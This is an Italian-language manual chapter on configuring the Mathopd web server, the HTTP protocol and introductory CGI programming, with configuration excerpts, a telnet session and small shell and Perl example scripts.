Per evitare di trattare nello stesso modo anche l'utente '**root**', viene dichiarato un gruppo apposito, dove il percorso *http://**nodo**/~root/* viene associato deliberatamente a una directory inesistente, per garantire che non vi si possa accedere. Sotto, con il gruppo '**Access**' viene escluso ogni accesso, salvo all'elaboratore locale, ma per il motivo appena descritto risulta ugualmente inaccessibile.

```
78                  Control {
79                          Alias /doc
80                          Location /usr/share/doc
81                          Access {
82                                  Deny 0/0
83                                  Allow 127.0.0.1/32
84                          }
85                  }
86                  Control {
87                          Alias /dwww
88                          Location /var/lib/dwww/html
89                          Access {
90                                  Deny 0/0
91                                  Allow 127.0.0.1/32
92                          }
93                  }
```

Infine, vengono previsti altri percorsi a directory contenenti della documentazione. A questi percorsi viene impedito l'accesso a tutti, escluso l'elaboratore locale.

Per dichiarare dei domini virtuali, si potrebbe continuare con altri gruppi '**Virtual**' che iniziano con una o più direttive '**Host**', come nell'esempio seguente:

```
        Virtual {
                Host brot.dg
                Host www.brot.dg
                Control {
                        Alias /
                        Location /home/MIRROR/brot
                }
                Control {
                        Alias /cgi-bin
                        Location /nosuchdirectory
                        Access {
                                Deny 0/0
                        }
                }
```

```
                Control {
                        Alias /~
                        Location /nosuchdirectory
                        Access {
                                Deny 0/0
                        }
                }
                Control {
                        Alias /~root
                        Location /nosuchdirectory
                        Access {
                                Deny 0/0
                        }
                }
        }
```

46.2.3 Indici delle directory

Purtroppo, Mathopd non consente di visualizzare il contenuto di un percorso nel quale non è stato previsto un indice. Tuttavia, se si dispone di un programma CGI che genera l'indice, è possibile collocare tale programma in ogni directory priva di un altro indice e abilitarne l'uso nella configurazione:

```
Control {
        ScriptUser nobody
        ChildLog /var/log/mathopd/child.log
        Types {
                ...
        }
        Specials {
                CGI { dir_cgi }
        }
        IndexNames { index.html index.htm dir_cgi }
}
```

Come si vede, nel gruppo '**`Control`**' più esterno si può inserire un gruppo '**`Specials`**' allo scopo di dichiarare «l'estensione» '`dir_php`' come programma CGI, mettendo lo stesso nome nell'elenco dei file indice.

In pratica, non si tratta di un'estensione, ma del nome del file completo: se al posto del file '`index.html`', o '`index.htm`', c'è il programma '**`dir_cgi`**', questo viene eseguito.

Il nome '**`dir_cgi`**' non è casuale, in quanto si tratta di un esempio diffuso dallo stesso autore di Mathopd.

Un risultato simile si può ottenere con il programma seguente che è scritto in Perl ed è derivato da uno dei programmi di Alml:

```
#!/usr/bin/perl

local ($index) = "";
local ($line) = "";
local ($type) = "";
local ($user) = "";
local ($group) = "";
local ($size) = "";
local ($day) = "";
local ($name) = "";
local ($true_name) = "";

open (DIRECTORY_LISTING, "export LC_ALL=C ; ls -l --full-time --si |");

$index = "<!DOCTYPE HTML PUBLIC \"ISO/IEC 15445:2000//DTD HTML//EN\">\
<HTML LANG=\"en\">\
<HEAD>\
<TITLE>directory listing</TITLE>\
</HEAD>\
<BODY>\
<TABLE SUMMARY=\"directory listing\">\
<TBODY>\
<TR><TD>previous</TD><TD><A HREF=\"..\">..</A></TD><TD></TD></TR>\
";
while ($line = <DIRECTORY_LISTING>)
  {
    if ($line =~ m/^(\S)\S+\s+\S+\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s+\S+\s+\S+\s+(.+)$/)
      {
        $type   = $1;
        $user   = $2;
        $group  = $3;
        $size   = $4;
        $day    = $5;
        $name   = $6;

        if ($type eq "d")
          {
            $index = $index . "<TR><TD>directory</TD>\
<TD><A HREF=\"$name\">$name/</A></TD><TD></TD></TR>\n";
          }
        elsif ($type eq "l")
          {
            $name =~ m/^(\S+)\s+\-\>\s+(\S+)$/;
                $true_name = $2;
            $index = $index . "<TR><TD>link</TD>\
<TD><A HREF=\"$true_name\">$name</A></TD><TD></TD></TR>\n";
          }
        else
          {
            $index = $index . "<TR><TD>file</TD>\
<TD><A HREF=\"$name\">$name</A></TD><TD>$size</TD></TR>\n";
          }
      }
  }

$index = $index . "\
</TBODY>\
```

```
</TABLE>\
</BODY>\
</HTML>\
";
close (DIRECTORY_LISTING);

print ("Content-Type: text/html\n\n");
print ($index);
```

46.2.4 Registro degli accessi

Il formato usato da Mathopd per annotare gli accessi nel file '`/var/log/mathopd/access.log`', o comunque nel file equivalente stabilito in base alla configurazione, non è standard. Nella configurazione si può intervenire con una serie di direttive racchiuse nel gruppo '**`LogFormat`**':

```
LogFormat {
        Ctime
        RemoteUser
        RemoteAddress
        RemotePort
        ServerName
        Method
        URI
        Status
        ContentLength
        Referer
        UserAgent
        BytesRead
        BytesWritten
}
```

Quello che si ottiene è un file di testo, contenente delle righe, una per ogni richiesta giunta al servente, in cui le varie informazioni sono separate da un carattere di tabulazione orizzontale (*<HT>*). L'esempio mostrato sopra nell'uso del gruppo '**`LogFormat`**', rappresenta la sequenza dei campi predefiniti; tuttavia, anche cambiando la disposizione di questi campi, non si può ottenere il formato CLF (*Common log format*) e tanto meno quello combinato (sezione 46.7). Per disporre di un formato standard, è necessari rielaborare il file con un programma realizzato appositamente, pertanto è perfettamente inutile modificare la disposizione dei campi nella configurazione di Mathopd.

Nei punti di distribuzione di Mathopd potrebbero essere disponibili due script alternativi, che in qualche modo dovrebbero generare un formato combinato da un file di registrazione degli accessi predefinito. Il primo di questi è uno script AWK:

```
#!/usr/bin/awk -f
BEGIN {
        FS="\t"
}
NF >= 11 && $5 ~ "^[-._[:alnum:]]+$" {
        split($1, date, " ")
```

```
        printf "%s - - [%02d/%s/%s:%s +0000] \"%s %s HTTP/1.0\" %d %d \"%s\" \"%s\"\n",
            $3, date[3], date[2], date[5], date[4], $6, $7, $8, $9, $10, $11 > $5
}
```

Questo script attende dallo standard input il contenuto del registro degli accessi e genera tanti file quanti sono i domini virtuali. Ognuno di questi file, ha il nome del dominio virtuale relativo.

Questo programma sarebbe perfetto, se non fosse che, quando manca l'informazione del dominio virtuale (pertanto appare in quella posizione un trattino), si blocca, perché non può creare il file '–'.

Un altro script, questa volta in Perl, fa un lavoro simile, ma senza distinguere tra i domini virtuali:

```
#!/usr/bin/perl

while(<STDIN>) {
        my(@x) = split(/\t/);
        my $date = shift @x;
        my @date = split(/\s+/, $date);
        if ($x[8] eq '-') {
                $x[8] = '';
        }
        printf "%s - - [%02d/%s/%s:%s +0000] \"%s %s HTTP/1.0\" %d %d \"%s\" \"%s\"\n",
                $x[1], $date[2], $date[1], $date[4], $date[3], $x[4], $x[5], $x[6],
                $x[7], $x[8], $x[9];
}
```

Data la mancanza di un programma soddisfacente nella distribuzione di Mathopd, viene proposto qui un programma Perl differente, più completo, che genera un risultato equivalente a quello del programma AWK già apparso sopra, ma senza incepparsi quando manca il nome del dominio virtuale:

```
#!/usr/bin/perl

my ($line) = "";
my ($output) = "";
my ($previousServerName) = "";

while($line = <STDIN>)
  {
    my (@mathopd_log)   = split(/\t/, $line);
    my ($Ctime)         = $mathopd_log[0];
    my ($RemoteUser)    = $mathopd_log[1];
    my ($RemoteAddress) = $mathopd_log[2];
    my ($RemotePort)    = $mathopd_log[3];
    my ($ServerName)    = $mathopd_log[4];
    my ($Method)        = $mathopd_log[5];
    my ($Uri)           = $mathopd_log[6];
    my ($Stats)         = $mathopd_log[7];
    my ($ContentLength) = $mathopd_log[8];
    my ($Referer)       = $mathopd_log[9];
    my ($UserAgent)     = $mathopd_log[10];
    my ($BytesRead)     = $mathopd_log[11];
    my ($BytesWritten)  = $mathopd_log[12];
```

```
    #
    if ($ServerName eq "-")
      {
        #
        # Just ignore it.
        #
        next;
      }
    #
    my (@date)          = split(/\s+/, $Ctime);
    #
    if ($Referer eq '-')
      {
        $Referer = '';
      }
    #
    $output = sprintf ("%s - - [%02d/%s/%s:%s +0000] \"%s %s HTTP/1.0\" %d %d \"%s\" \"%s\"",
                       $RemoteAddress,
                       $date[2], $date[1], $date[4], $date[3],
                       $Method,
                       $Uri,
                       $Stats,
                       $ContentLength,
                       $Referer,
                       $UserAgent);

    if    ($previousServerName eq "")
      {
        open (OUTPUT, ">>:utf8", $ServerName);
      }
    elsif ($previousServerName eq $ServerName)
      {
        #
        # The output stream is already opened.
        #
        ;
      }
    else
      {
        close (OUTPUT);
        open (OUTPUT, ">>:utf8", $ServerName);
      }
    #
    print OUTPUT ("$output\n");
  }
close (OUTPUT);
```

46.3 Protocollo HTTP

Il funzionamento del protocollo HTTP è molto semplice. L'utilizzo di un servizio HTTP si compone di una serie di transazioni, ognuna delle quali si articola in queste fasi:

1. apertura della connessione;
2. invio da parte del cliente di una richiesta;

3. risposta da parte del servente;
4. chiusura della connessione.

In questo modo, il programma servente non deve tenere traccia delle transazioni che iniziano e finiscono ogni volta che un utente compie un'azione attraverso il suo programma cliente.

La richiesta inviata dal programma cliente deve contenere il metodo (i più comuni sono '**GET**' e '**POST**'), l'indicazione della risorsa cui si vuole accedere, la versione del protocollo ed eventualmente l'indicazione dei tipi di dati che possono essere gestiti dal programma cliente (si parla in questi casi di tipi MIME). Naturalmente sono possibili richieste più ricche di informazioni.

Tabella 46.33. Alcuni metodi di comunicazione per le richieste di un programma cliente.

Nome	Descrizione
`GET`	Recupera l'informazione identificata dall'URI specificato.
`HEAD`	Recupera le informazioni sul documento, senza ottenere il documento in allegato.
`PUT`	Richiede che l'informazione sia memorizzata nell'URI specificato.
`POST`	Fornisce al servente HTTP dei dati aggiuntivi in riferimento all'URI specificato.
`DELETE`	Richiede di eliminare la risorsa specificata.
`LINK`	Stabilisce una collegamento con la risorsa indicata.
`UNLINK`	Elimina un collegamento tra risorse.

La risposta del servente HTTP è costituita da un'intestazione che, tra le altre cose, specifica il modo in cui l'informazione allegata deve essere interpretata. È importante comprendere subito che l'intestazione viene staccata dall'inizio dell'informazione allegata attraverso un riga vuota, composta dalla sequenza <*CR*><*LF*>.

46.3.1 Analisi di una connessione HTTP

Per comprendere in pratica il funzionamento di una connessione HTTP, si può utilizzare il programma '**telnet**' al posto di un navigatore normale. Si suppone di poter accedere al nodo *www.brot.dg* nel quale è stato installato un servente HTTP con successo. Dal servente viene prelevato il file 'index.html' che si trova all'interno della directory principale del servizio, ovvero da *document root*.

$ **telnet www.brot.dg http** [*Invio*]

Il programma '**telnet**' risponde e si mette in attesa di ricevere il messaggio da inviare al servente:

```
Trying 192.168.1.1...
Connected to www.brot.dg.
Escape character is '^]'.
```

Si deve iniziare a scrivere, cominciando con una riga contenente il metodo, la risorsa e la versione del protocollo, continuando con una riga contenente le possibilità di visualizzazione del cliente (i tipi MIME).

`GET /index.html HTTP/1.0` [*Invio*]

`Accept: text/html` [*Invio*]

[*Invio*]

Appena si invia una riga vuota, il servente intende che la richiesta è terminata e risponde:

```
HTTP/1.1 200 OK
Date: Tue, 27 Jan 1998 17:44:46 GMT
Server: Apache/1.2.4
Last-Modified: Tue, 30 Dec 1997 21:07:24 GMT
ETag: "6b003-792-34a9628c"
Content-Length: 1938
Accept-Ranges: bytes
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
 <HEAD>
  <TITLE>Test Page for Linux's Apache Installation</TITLE>
 </HEAD>
 <BODY
  BGCOLOR="#FFFFFF"
  TEXT="#000000"
  LINK="#0000FF"
  VLINK="#000080"
  ALINK="#FF0000"
 >
  <H1 ALIGN="CENTER">It Worked!</H1>
  <P>
  If you can see this, it means that the installation of the
  <A
   HREF="http://www.apache.org/"
  >Apache</A>
  software on this Linux system was successful. You may now add
  content to this directory and replace this page.
  </P>
...
...
 </BODY>
</HTML>
Connection closed by foreign host.
```

Come già accennato, il messaggio restituito dal servente è composto da un'intestazione in cui l'informazione più importante è il tipo di messaggio allegato, cioè in questo caso '**`Content-Type: text/html`**', seguita da una riga vuota e quindi dall'oggetto richiesto, cioè il file '`index.html`'.

Al termine della ricezione dell'oggetto richiesto, la connessione ha termine. Lo si può osservare dal messaggio dato da '**`telnet`**': '**`Connection closed by foreign host`**'.

Il lavoro di un programma cliente è tutto qui: inviare richieste al servente HTTP, ricevere le risposte e gestire i dati, possibilmente visualizzandoli o mettendo comunque l'utente in grado di fruirne.

46.3.2 Tipi MIME

MIME è una codifica standard per definire il trasferimento di documenti multimediali attraverso la rete. L'acronimo sta per *Multipurpose Internet mail extentions* e la sua origine è appunto legata ai trasferimenti di dati allegati ai messaggi di posta, come il nome lascia intendere.

Il protocollo HTTP utilizza lo stesso standard e con questo il programma servente informa il programma cliente del tipo di oggetto che gli viene inviato. Nello stesso modo, il programma cliente, all'atto della richiesta di una risorsa, informa il servente dei tipi MIME che è in grado di gestire.

Il servente HTTP, per poter comunicare il tipo MIME al cliente, deve avere un modo per riconoscere la natura degli oggetti che costituiscono le risorse accessibili. Questo modo è dato solitamente dall'estensione, per cui, la stessa scelta dell'estensione per i file accessibili attraverso il protocollo HTTP è praticamente obbligatoria, ovvero, dipende dalla configurazione dei tipi MIME.

Tabella 46.36. Alcuni tipi MIME con le possibili estensioni.

Tipo MIME	Estensioni	Descrizione
application/postscript	ps eps	PostScript.
application/rtf	rtf	Rich Text Format.
application/x-tex	tex	Documento TeX/LaTeX.
audio/basic	au snd	File audio.
audio/x-wav	wav	File audio.
image/gif	gif	Immagine GIF.
image/jpeg	jpeg jpg	Immagine JPEG.
image/tiff	tiff tif	Immagine TIFF.
image/x-xwindowdump	xwd	Immagine X Window Dump.
text/html	html htm	Testo composto in HTML.
text/plain	txt	Testo puro.
video/mpeg	mpeg mpg mpe	Animazione MPEG.
video/quicktime	qt mov	Animazione Quicktime.

46.3.3 Campi di richiesta

Come si è visto dagli esempi mostrati precedentemente, la richiesta fatta dal programma cliente è composta da una prima riga in cui si dichiara il tipo, la risorsa desiderata e la versione del protocollo.

```
GET /index.html HTTP/1.0
```

Di seguito vengono indicati una serie di campi, più o meno facoltativi. Questi campi sono costituiti da un nome seguito da due punti ('`:`'), da uno spazio e dall'informazione che gli si vuole abbinare.

Campo «Accept»

Una o più righe contenenti un campo '**`Accept`**' possono essere incluse per indicare i tipi MIME che il cliente è in grado di gestire (cioè di ricevere). Se non viene indicato alcun campo '**`Accept`**', si intende che siano accettati almeno i tipi '**`text/plain`**' e '**`text/html`**'.

I tipi MIME sono organizzati attraverso due parole chiave separate da una barra obliqua. In pratica si distingue un tipo e un sottotipo MIME. È possibile indicare un gruppo di tipi MIME mettendo un asterisco al posto di una o di entrambe le parole chiave, in modo da selezionare tutto il gruppo relativo. Per esempio,

```
Accept: */*
```

rappresenta tutti i tipi MIME;

```
Accept: text/*
```

rappresenta tutti i sottotipi MIME che appartengono al tipo '**`text`**'; mentre

```
Accept: audio/basic
```

rappresenta un tipo e un sottotipo MIME particolare.

Campo «User-Agent»

Il campo '**`User-Agent`**' permette di informare il servente sul nome e sulla versione dell'applicativo particolare che svolge la funzione di cliente. Per convenzione, il nome di questo è seguito da una barra obliqua e dal numero della versione. Tutto quello che dovesse seguire sono solo informazioni addizionali per le quali non è stabilita una forma precisa. Per esempio, nel caso di Mozilla, si potrebbe avere un'indicazione del tipo seguente:

```
User-Agent: Mozilla/4.04 [en] (X11; I; Linux 2.0.32 i586)
```

46.3.4 Campi di risposta

La risposta del servente HTTP a una richiesta del programma cliente si compone di un'intestazione seguita eventualmente da un allegato, il quale costituisce la risorsa a cui il cliente voleva accedere. L'intestazione è separata dall'allegato da una riga vuota.

La prima riga è costituita dal codice di stato della risposta. Nella migliore delle ipotesi dovrebbe presentarsi come nell'esempio seguente:

```
HTTP/1.0 200 OK
```

Tabella 46.43. Alcuni codici di stato utilizzati più frequentemente.

Codice	Descrizione	Codice	Descrizione
200	OK	201	Creato.
202	Accettato.	204	Nessun contenuto.
300	Scelte multiple.	301	Spostato in modo permanente.
302	Spostato temporaneamente.	304	Non modificato.
400	Richiesta errata.	401	Non autorizzato.
403	Proibito.	404	Non trovato.
500	Errore interno del servente HTTP.	501	Servizio non realizzato (non disponibile).
502	Gateway errato.	503	Servizio non disponibile.

Il resto dell'intestazione è composto da campi, simili a quelli utilizzati per le richieste dei programmi clienti.

Campo «Allow»

Il campo '**`Allow`**' viene utilizzato dal programma servente per informare il programma cliente dei metodi che possono essere utilizzati. Viene restituita tale informazione quando il cliente tenta di utilizzare un metodo di richiesta che il servente non è in grado di gestire. Segue un esempio.

```
Allow: GET, HEAD, POST
```

Campo «Content-Length»

Il campo '**`Content-Length`**' indica al programma cliente la dimensione (in byte) dell'allegato. Se viene utilizzato il metodo '**`HEAD`**', con cui non viene restituito alcun allegato, permette di conoscere in anticipo la dimensione della risorsa.

```
Content-Length: 1938
```

Campo «Content-Type»

Il campo '**`Content-Type`**' indica al programma cliente il tipo MIME a cui appartiene la risorsa (allegata o meno). Segue l'esempio più comune.

```
Content-Type: text/html
```

46.4 HTTP e CGI

HTTP (*Hypertext transfer protocol*) è un protocollo cliente-servente progettato per gestire documenti ipertestuali e per permettere l'interazione con programmi, detti ***gateway***, attraverso le specifiche CGI (*Common gateway interface*).

L'interfaccia CGI permette quindi di realizzare programmi che interagiscono con gli utenti attraverso il protocollo HTTP. La figura 46.47 illustra il meccanismo.

Figura 46.47. Schema del collegamento fisico e ideale tra le varie parti di una connessione HTTP-CGI.

I programmi *gateway*, detti anche *cgi-bin* o più semplicemente CGI, possono essere realizzati con qualunque linguaggio, purché siano in grado di interagire attraverso le specifiche del protocollo CGI.

46.4.1 URI e query

Vale la pena di richiamare brevemente alcuni concetti riferiti agli URI per ciò che riguarda in particolare la gestione interattiva che si vuole descrivere in questo capitolo (si veda eventualmente la sezione 66.1). Il formato di un URI potrebbe essere definito secondo lo schema seguente:

protocollo indirizzo_della_risorsa [***dati_aggiuntivi***]

Alcuni tipi di protocolli sono in grado di gestire dei dati aggiuntivi in coda all'indirizzo della risorsa. Nel caso del protocollo HTTP combinato con CGI, può trattarsi di ***richieste*** o di ***percorsi aggiuntivi***.

Quando un URI comprende anche una stringa di richiesta (*query*), questa viene distinta dall'indirizzo della risorsa attraverso un punto interrogativo.[3]

protocollo indirizzo_della_risorsa ? [***richiesta***]

L'utilizzo di una stringa di richiesta presume che la risorsa sia un programma in grado di utilizzare l'informazione contenuta in tale stringa. Segue un esempio banale di un URI contenente una richiesta:

`http://www.brot.dg/cgi-bin/saluti.pl?buongiorno`

Quando l'indirizzo della risorsa di un URI fa riferimento a un programma, questo può ricevere un'informazione aggiuntiva legata a un file o a una directory particolare. Si ottiene questo aggiungendo l'indicazione del percorso che identifica questo file o questa directory.

protocollo indirizzo_della_risorsa [*percorso_aggiuntivo*]

Segue un esempio banale di un URI, completo dell'indicazione di un percorso:

http://www.brot.dg/cgi-bin/elabora.pl/archivio.doc

Quando un simbolo di quelli non utilizzabili deve essere indicato ugualmente da qualche parte dell'URI, facendogli perdere il significato speciale che questo potrebbe avere altrimenti, si può convertire utilizzando la notazione '%*hh*'. La sigla *hh* rappresenta una coppia di cifre esadecimali. A questa regola fa eccezione lo spazio che viene codificato normalmente con il segno '+', ma non in tutte le occasioni.

Generalmente, per gli indirizzi URI normali non c'è la necessità di preoccuparsi di questo problema, quindi, l'utilizzo di simboli particolari riguarda prettamente la costruzione delle richieste, come viene mostrato meglio in seguito.

La tabella 46.48 mostra l'elenco di alcune corrispondenze tra simboli particolari e la codifica alternativa utilizzabile negli URI.

Tabella 46.48. Alcune corrispondenze tra simboli particolari e codifica alternativa utilizzabile negli URI.

Carattere	Codifica	Carattere	Codifica
%	%25	&	%26
+	%2B	/	%2F
=	%3D	~	%7E

46.4.2 Input dell'utente

Il tipo di comunicazione che avviene tra programma cliente e programma servente, descritta in precedenza, è nascosta all'utente, il quale agisce attraverso la richiesta e l'invio di documenti HTML. Si distinguono tre tipi di definizioni da inserire all'interno di documenti HTML che permettono all'utente di inserire dati (nel senso di input): elemento '**ISINDEX**' superato e destinato a essere eliminato dallo standard; attributo '**ISMAP**' delle immagini, ma anche questo superato; elementi '**FORM**'. Considerato che tutto quello che si potrebbe fare con gli elementi '**ISINDEX**' e gli attributi '**ISMAP**', si può fare con gli elementi '**FORM**' e il loro contenuto, è meglio concentrarsi su questa ultima possibilità.

Gli elementi '**FORM**' consentono genericamente di realizzare dei ***formulari***, ovvero delle maschere o modelli per l'inserimento di dati. Le informazioni fornite dall'utente in questo modo vengono trasmesse nella forma di stringhe che rappresentano l'assegnamento di un valore a una variabile: '*nome*=*valore*'. I dati inseriti attraverso gli elementi '**FORM**' possono essere trasmessi con una richiesta '**GET**' oppure '**POST**', attraverso l'indicazione opportuna all'interno dello stesso documento HTML che contiene il formulario. La descrizione di questi elementi '**FORM**' viene fatta più avanti.

46.4.3 Primo approccio alla programmazione CGI

I programmi *gateway*, o CGI, vengono visti dai clienti come delle risorse normali. Alla chiamata, tali programmi restituiscono, attraverso il servente, un documento HTML. I programmi *gateway* generano del codice HTML e lo emettono attraverso lo standard output, il quale viene intercettato dal servente, il quale a sua volta lo completa inizialmente del codice di stato. In pratica, un programma del genere riceve input in qualche modo attraverso il servente, il quale a sua volta ha ricevuto una richiesta da un cliente, quindi restituisce un documento HTML preceduto da un'intestazione, ma senza la riga di stato.

Un programma CGI banale, potrebbe essere quello che restituisce semplicemente un messaggio composto in HTML, ogni volta che viene eseguito.

```
#!/bin/sh

echo "Content-type: text/html"
echo
echo "<HTML>"
echo "<HEAD>"
echo "<TITLE>Programma CGI banale</TITLE>"
echo "</HEAD>"
echo "<BODY>"
echo "<H1>Programma CGI banale</H1>"
echo "<P>"
echo "Ciao Mondo!"
echo "</P>"
echo "</BODY>"
echo "</HTML>"
```

Supponendo di avere chiamato questo programma '**`cgi-banale.sh`**' e di averlo reso eseguibile, supponendo inoltre che si trovi in una directory che il servente HTTP pubblica come '`http://`***nodo***`/cgi-bin/`' e che il servente HTTP sia anche disposto a eseguirlo in qualità di programma CGI, accedendo all'URI *`http://`**nodo**`/cgi-bin/cgi-banale.sh`* si dovrebbe osservare il risultato di questo programma. Se tutto si svolge presso l'elaboratore locale, l'URI diventa *`http://localhost/cgi-bin/cgi-banale.sh`*.

Figura 46.50. Risultato per l'utente della richiesta di accedere all'URI che punta allo script elementare ('**`cgi-banale.sh`**') che produce solo un output semplice senza interpretare alcun input.

Quando un cliente invia una richiesta di accedere a una risorsa che viene riconosciuta essere un programma *gateway*, il servente esegue questo programma e il suo standard output viene inviato in risposta al cliente, con l'aggiunta del codice di risultato iniziale: la preparazione del resto dell'intestazione è a carico del programma *gateway*. Quando il servente esegue il

programma gli può inviare alcuni dati: in forma di argomenti della riga di comando, utilizzando le variabili di ambiente e anche attraverso lo standard input. Dipende dalla modalità della richiesta fatta dal cliente il modo con cui il programma *gateway* riceve i dati dal servente. È sufficiente realizzare uno script in grado di restituire tutti i dati che vengono forniti dal servente al programma *gateway* per comprendere il meccanismo.

```
#!/bin/sh
#
# cgi-test.sh
#
echo "Content-type: text/html"
echo
echo "<HTML>"
echo "<HEAD>"
echo "<TITLE>Test CGI</TITLE>"
echo "</HEAD>"
echo "<BODY>\n";
echo "<H1>Test CGI</H1>"
echo "<PRE>"
echo "N. argomenti = $#"
echo "Argomenti    = $*"
echo
echo "SERVER_SOFTWARE = $SERVER_SOFTWARE"
echo "SERVER_NAME = $SERVER_NAME"
echo "GATEWAY_INTERFACE = $GATEWAY_INTERFACE"
echo "SERVER_PROTOCOL = $SERVER_PROTOCOL"
echo "SERVER_PORT = $SERVER_PORT"
echo "SERVER_ADMIN = $SERVER_ADMIN"
echo "REQUEST_METHOD = $REQUEST_METHOD"
echo "HTTP_ACCEPT = $HTTP_ACCEPT"
echo "HTTP_USER_AGENT = $HTTP_USER_AGENT"
echo "HTTP_CONNECTION = $HTTP_CONNECTION"
echo "PATH_INFO = $PATH_INFO"
echo "PATH_TRANSLATED = $PATH_TRANSLATED"
echo "SCRIPT_NAME = $SCRIPT_NAME"
echo "QUERY_STRING = $QUERY_STRING"
echo "REMOTE_HOST = $REMOTE_HOST"
echo "REMOTE_ADDR = $REMOTE_ADDR"
echo "REMOTE_USER = $REMOTE_USER"
echo "AUTH_TYPE = $AUTH_TYPE"
echo "CONTENT_TYPE = $CONTENT_TYPE"
echo "CONTENT_LENGTH = $CONTENT_LENGTH"
echo
echo "Standard input:"
cat
echo "</PRE>"
echo "</BODY>"
echo "</HTML>"
```

Figura 46.52. Richiamando lo script ‘**`cgi-test.sh`**’ attraverso un URI, senza l’indicazione di alcuna stringa di richiesta, si ottiene lo stato delle variabili di ambiente fornite allo script stesso.

```
Bookmarks  Location: http://www.brot.dg/cgi-bin/cgi-test.sh
```

Test CGI

```
N. argomenti = 0
Argomenti    =

SERVER_SOFTWARE = Apache/1.2.4
SERVER_NAME = dinkel.brot.dg
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
SERVER_ADMIN = root@localhost
REQUEST_METHOD = GET
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
HTTP_USER_AGENT = Mozilla/4.04 [en] (X11; I; Linux 2.0.32 i586)
HTTP_CONNECTION = Keep-Alive
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/cgi-test.sh
QUERY_STRING =
REMOTE_HOST = 192.168.1.1
REMOTE_ADDR = 192.168.1.1
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

Standard input:
```

Eventualmente si può realizzare un altro programma, in Perl, che compie praticamente le stesse operazioni, ma in modo più preciso.

```
#!/usr/bin/perl
#
# cgi-test.pl
#
print STDOUT ("Content-type: text/html\n");
print STDOUT ("\n");
print STDOUT ("<HTML>\n");
print STDOUT ("<HEAD>\n");
print STDOUT ("<TITLE>Test CGI</TITLE>\n");
print STDOUT ("</HEAD>\n");
print STDOUT ("<BODY>\n");
print STDOUT ("<H1>Test CGI</H1>\n");
print STDOUT ("<PRE>\n");
print STDOUT ("N. argomenti = $#ARGV\n");
print STDOUT ("Argomenti    = @ARGV\n");
print STDOUT ("\n");
#
foreach $var_amb (keys %ENV)
  {
    print STDOUT ("$var_amb = $ENV{$var_amb}\n");
```

```
  }
#
print STDOUT ("\n");
print STDOUT ("Standard input:");
#
while ($riga = <STDIN>)
  {
    print STDOUT ("$riga");
  }
#
print STDOUT ("</PRE>\n");
print STDOUT ("</BODY>\n");
print STDOUT ("</HTML>\n");
```

46.4.4 Percorso aggiuntivo

Esiste un metodo molto semplice per passare a un programma CGI un'informazione costituita da un percorso: quando si richiede un URI che punta a un programma CGI, ma seguito immediatamente e senza separazioni addizionali da un percorso che indichi un file o una directory, il programma CGI viene avviato e riceve questa informazione all'interno di una variabili di ambiente.

Per verificare come funzionano questi «percorsi aggiuntivi», basta usare lo script di verifica '`cgi-test.sh`' (oppure anche '`cgi-test.pl`'), mostrato in precedenza. Richiamando questo script, si può tentare di raggiungere un percorso che non esiste: supponendo di indicare l'URI *`http://`**nodo**`/cgi-bin/cgi-test.sh/ciao/come/stai`*, lo script riceve (e mostra) la variabile di ambiente ***PATH_INFO*** con il valore '`/ciao/come/stai`', mentre la variabile ***PATH_TRANSLATED*** contiene la (presunta) traduzione di quel percorso in un percorso reale, corrispondente probabilmente a '***document_root***`/ciao/come/stai`'. Sta poi al programma CGI sapere cosa farsene di questa informazione.

46.4.5 Elementi «FORM»

Gli elementi '**`FORM`**' servono a generare per l'utente dei «formulari», ovvero maschere di inserimento dati. L'input ottenuto in questo modo viene assemblato in coppie '***nome*`=`*valore***'. È poi compito del programma CGI disassemblare e interpretare tali informazioni.

I formulari degli elementi '**`FORM`**' vengono generati dal programma cliente (cioè dal navigatore) in base alle direttive incontrate all'interno di un documento HTML. Ciò significa che l'apparenza di questi formulari può essere diversa a seconda del programma cliente utilizzato e del sistema operativo.

Il documento HTML contenente formulari di questo tipo, ovviamente, può essere stato predisposto nel servente come file normale, oppure può essere generato dinamicamente da un programma CGI.

```
<FORM ...>
    ...
    ...
</FORM>
```

Un documento HTML può contenere più elementi '**`FORM`**', purché non siano annidati. L'elemento '**`FORM`**' può contenere degli attributi che ne definiscono il comportamento generale (ovviamente gli attributi si inseriscono nel marcatore di apertura), mentre all'interno della zona definita dall'elemento '**`FORM`**' si possono inserire altri elementi di vario genere, il cui scopo è quello di permettere all'utente un tipo particolare di interazione.

46.4.5.1 Attributo «ACTION»

L'attributo '**`ACTION`**' dell'elemento '**`FORM`**' specifica l'URI a cui inviare i dati inseriti attraverso il formulario. Deve trattarsi evidentemente dell'indirizzo di un programma CGI in grado di gestirli. Intuitivamente si comprende che questo attributo non può mancare. L'esempio seguente mostra in che modo si possa inserire questo attributo.

```
<FORM ACTION="http://www.brot.dg/cgi-bin/mio_programma.pl ...>
```

46.4.5.2 Attributo «METHOD»

L'attributo '**`METHOD`**' dell'elemento '**`FORM`**' specifica il ***metodo*** della richiesta che deve essere fatta dal cliente. Utilizzando un elemento '**`FORM`**' sono disponibili due tipi: '**`GET`**' e '**`POST`**'. L'esempio seguente mostra una situazione in cui si definisce l'utilizzo del metodo '**`POST`**'.

```
<FORM ACTION="http://www.brot.dg/cgi-bin/mio_programma.pl METHOD="POST">
```

46.4.6 Elementi dell'ambiente «FORM»

All'interno dell'ambiente delineato dall'elemento '**`FORM`**', cioè della zona delimitata dai marcatori '**`<FORM>`**' e '**`</FORM>`**', si può collocare sia testo normale, sia elementi specifici di questo ambiente. È stato ripetuto più volte che i dati inseriti attraverso questi elementi vengono assemblati in coppie '***nome*`=`*valore***'. Quello che manca da sapere è che tali coppie vengono unite successivamente attraverso il simbolo e-commerciale ('**`&`**'). Gli esempi proposti più avanti mostrano meglio questo comportamento.

Esistono pochi tipi di elementi atti a permettere l'input all'interno dell'ambiente dell'elemento '**`FORM`**'. Questi cambiano il loro comportamento e l'apparenza a seconda degli attributi che gli vengono indicati. Il tipo di elemento più comune è '**`INPUT`**':

```
<INPUT NAME=... TYPE=... ...>
```

